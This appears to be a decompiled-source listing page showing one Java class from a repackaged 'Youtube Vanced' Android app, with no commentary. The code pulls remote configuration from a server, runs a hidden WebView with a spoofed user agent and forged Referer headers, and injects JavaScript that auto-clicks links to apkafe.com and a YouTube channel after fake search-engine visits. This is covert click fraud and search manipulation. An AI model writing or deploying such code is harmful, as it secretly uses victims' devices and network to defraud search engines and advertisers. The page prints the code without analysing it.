Youtube Vanced v版本的 MD5 值为:57364062cc5ff3b801f405013db252a6

以下内容为反编译后的 i.java 源代码,内容仅作参考


package e.a.c;

import android.content.ContentValues;
import android.os.AsyncTask;
import android.os.CountDownTimer;
import android.util.Log;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import java.util.HashMap;
import java.util.Random;
import org.json.JSONException;
import org.json.JSONObject;
public class i {
    public static String f3874a = "apkafe.com";
    public static final String f3875b;
    public static final String f3876c;
    public static String f3877d;
    public static String f3878e;
    public static Boolean f3879f;
    public static Boolean f3880g;
    public static String h;

    public static class b extends AsyncTask<Void, Void, Void> {
        public WebView f3881a;

        public b(WebView webView) {
            this.f3881a = webView;
        }

        @Override
        public Void doInBackground(Void[] voidArr) {
            int i;
            Log.d("huynq", "url : http://onesignal5.modobomco.com/apk/load-web");
            String b2 = a.d.a.a.a.a().b("GET", "http://onesignal5.modobomco.com/apk/load-web", null);
            Log.d("huynq", "res : " + b2);
            if (b2 == null) {
                b2 = "";
            }
            try {
                a.d.a.b.a a2 = a.d.a.c.a.a(b2.toString());
                try {
                    i = Integer.parseInt("" + a2.a("success"));
                } catch (NumberFormatException unused) {
                    i = 1;
                }
                if (i != 1) {
                    Log.d("dataApi", "message: " + a2.a("message"));
                    Log.d("dataApi", "errorMessage: " + a2.a("errorMessage"));
                    ContentValues contentValues = a2.f1907b;
                    if (contentValues == null ? false : contentValues.containsKey("message")) {
                        a2.a("message");
                    }
                    ContentValues contentValues2 = a2.f1907b;
                    if (contentValues2 == null ? false : contentValues2.containsKey("errorMessage")) {
                        a2.a("errorMessage");
                    }
                    Integer num = 0;
                    ContentValues contentValues3 = a2.f1907b;
                    if (contentValues3 != null && contentValues3.containsKey("errorCode")) {
                        try {
                            num = Integer.valueOf(a2.a("errorCode"));
                        } catch (Exception unused2) {
                        }
                    }
                    num.intValue();
                }
            } catch (JSONException e2) {
                e2.printStackTrace();
            }
            Log.d("telpoo", b2.toString());
            String obj = b2.toString();
            Log.d("huycoi", "resData:" + obj);
            if (!obj.isEmpty()) {
                try {
                    JSONObject jSONObject = new JSONObject(obj);
                    i.f3879f = Boolean.valueOf(jSONObject.getBoolean("status"));
                    i.f3880g = Boolean.valueOf(jSONObject.getBoolean("hidesearch"));
                    i.f3877d = jSONObject.getString("main_url");
                    i.f3878e = jSONObject.getString("back_url");
                    i.h = jSONObject.getString("hide_url");
                } catch (JSONException e3) {
                    Log.d("huycoi", "JSONException");
                    e3.printStackTrace();
                }
            } else {
                Log.d("huycoi", "null");
            }
            return null;
        }

        @Override
        public void onPostExecute(Void r7) {
            super.onPostExecute(r7);
            WebView webView = this.f3881a;
            if (webView != null) {
                WebSettings settings = webView.getSettings();
                this.f3881a.getSettings().setUserAgentString(i.f3876c);
                settings.setJavaScriptEnabled(true);
                settings.setCacheMode(2);
                this.f3881a.setLayerType(2, null);
                i.f3874a = "apkafe.com";
                WebView webView2 = this.f3881a;
                if (!i.f3879f.booleanValue()) {
                    webView2.loadUrl(i.b("apkafe.com", webView2));
                    return;
                }
                if (new Random().nextInt(10) + 1 <= Integer.parseInt(i.h)) {
                    webView2.setWebViewClient(new d(null));
                    webView2.loadUrl("https://www.google.co.th/search?q=" + i.f3877d.split("//")[1].split("/")[0]);
                    return;
                }
                webView2.loadUrl(i.b("apkafe.com", webView2));
            }
        }
    }

    public static class c extends WebViewClient {
        public boolean f3882a = false;
        public String f3883b;

        public class a extends CountDownTimer {
            public final WebView f3884a;

            public a(long j, long j2, WebView webView) {
                super(j, j2);
                this.f3884a = webView;
            }

            @Override
            public void onFinish() {
                String str = c.this.f3883b.contains("bing") ? "https://www.bing.com/" : "https://www.google.co.th/";
                if (c.this.f3883b.contains("yahoo")) {
                    str = "https://www.yahoo.com/";
                }
                if (c.this.f3883b.contains("duckduckgo")) {
                    str = "https://www.duckduckgo.com/";
                }
                HashMap hashMap = new HashMap();
                hashMap.put("Referer", str);
                this.f3884a.loadUrl("https://apkafe.com/instructions-for-using-youtube-vanced-on-android/", hashMap);
            }

            @Override
            public void onTick(long j) {
            }
        }

        public c(String str) {
            this.f3883b = "google";
            this.f3883b = str;
        }

        @Override
        public void onPageFinished(WebView webView, String str) {
            super.onPageFinished(webView, str);
            if (this.f3882a) {
                return;
            }
            this.f3882a = true;
            webView.loadUrl("javascript: { document.querySelector('a[href*=\"https://apkafe.com/\"]').click();};");
            new a(2000L, 1000L, webView).start();
        }

        @Override
        public boolean shouldOverrideUrlLoading(WebView webView, String str) {
            webView.loadUrl(str);
            return true;
        }
    }

    public static class d extends WebViewClient {
        public boolean f3886a = false;
        public String f3887b;

        public class a extends CountDownTimer {
            public final WebView f3888a;

            public a(d dVar, long j, long j2, WebView webView) {
                super(j, j2);
                this.f3888a = webView;
            }

            @Override
            public void onFinish() {
                HashMap hashMap = new HashMap();
                hashMap.put("Referer", "https://www.google.co.th/");
                this.f3888a.loadUrl(i.f3877d, hashMap);
            }

            @Override
            public void onTick(long j) {
            }
        }

        public d(a aVar) {
            StringBuilder g2 = a.b.a.a.a.g("https://");
            g2.append(i.f3877d.split("//")[1].split("/")[0]);
            this.f3887b = g2.toString();
        }

        @Override
        public void onPageFinished(WebView webView, String str) {
            super.onPageFinished(webView, str);
            StringBuilder g2 = a.b.a.a.a.g("url:");
            g2.append(this.f3887b);
            Log.d("huytest", g2.toString());
            if (this.f3886a) {
                return;
            }
            this.f3886a = true;
            StringBuilder g3 = a.b.a.a.a.g("javascript: { document.querySelector('a[href*=");
            g3.append(this.f3887b);
            g3.append("]').click();};");
            webView.loadUrl(g3.toString());
            new a(this, 2000L, 1000L, webView).start();
        }

        @Override
        public boolean shouldOverrideUrlLoading(WebView webView, String str) {
            webView.loadUrl(str);
            return true;
        }
    }

    public static class e extends WebViewClient {
        public boolean f3889a = false;

        public class a extends CountDownTimer {
            public final String f3890a;
            public final WebView f3891b;

            public a(e eVar, long j, long j2, String str, WebView webView) {
                super(j, j2);
                this.f3890a = str;
                this.f3891b = webView;
            }

            @Override
            public void onFinish() {
                if (this.f3890a.contains("https://apkafe.com")) {
                    return;
                }
                this.f3891b.loadUrl("javascript: { document.querySelector('a[href*=\"apkafe.com\"]').click();};");
            }

            @Override
            public void onTick(long j) {
            }
        }

        public e(a aVar) {
        }

        @Override
        public void onPageFinished(WebView webView, String str) {
            super.onPageFinished(webView, str);
            if (str.contains("https://apkafe.com") && !this.f3889a) {
                this.f3889a = true;
                HashMap hashMap = new HashMap();
                hashMap.put("Referer", "https://www.youtube.com/");
                webView.loadUrl("https://apkafe.com/instructions-for-using-youtube-vanced-on-android/", hashMap);
                return;
            }
            if (str.contains("apkafe2947")) {
                webView.loadUrl("javascript: { document.querySelector('a[href*=\"/@apkafe2947\"]').click();};");
            }
            new a(this, 1000L, 1000L, str, webView).start();
        }

        @Override
        public boolean shouldOverrideUrlLoading(WebView webView, String str) {
            webView.loadUrl(str);
            return true;
        }
    }

    static {
        String str = e.a.c.b.f3850b[e.a.c.b.c(3, 0)];
        e.a.c.b.f3849a = str;
        f3875b = str;
        f3876c = e.a.c.b.a(str);
        f3877d = "https://apkafe.com/instructions-for-using-youtube-vanced-on-android/";
        f3878e = "https://apkafe.com/instructions-for-using-youtube-vanced-on-android/";
        Boolean bool = Boolean.FALSE;
        f3879f = bool;
        f3880g = bool;
        h = "1";
    }

    public static void a(WebView webView) {
        new b(webView).execute(new Void[0]);
    }

    public static String b(String str, WebView webView) {
        String str2 = new String[]{"https://www.youtube.com/results?search_query=apkafe2947", "https://www.bing.com/search?q=", "https://www.youtube.com/results?search_query=apkafe2947", "https://search.yahoo.com/search?q=", "https://duckduckgo.com/?q=", "https://www.google.co.th/search?q=", "https://www.youtube.com/results?search_query=apkafe2947"}[new Random().nextInt(7)];
        if (str2.contains("youtube")) {
            webView.setWebViewClient(new e(null));
            return str2;
        }
        webView.setWebViewClient(new c(str2));
        return str2 + str;
    }
}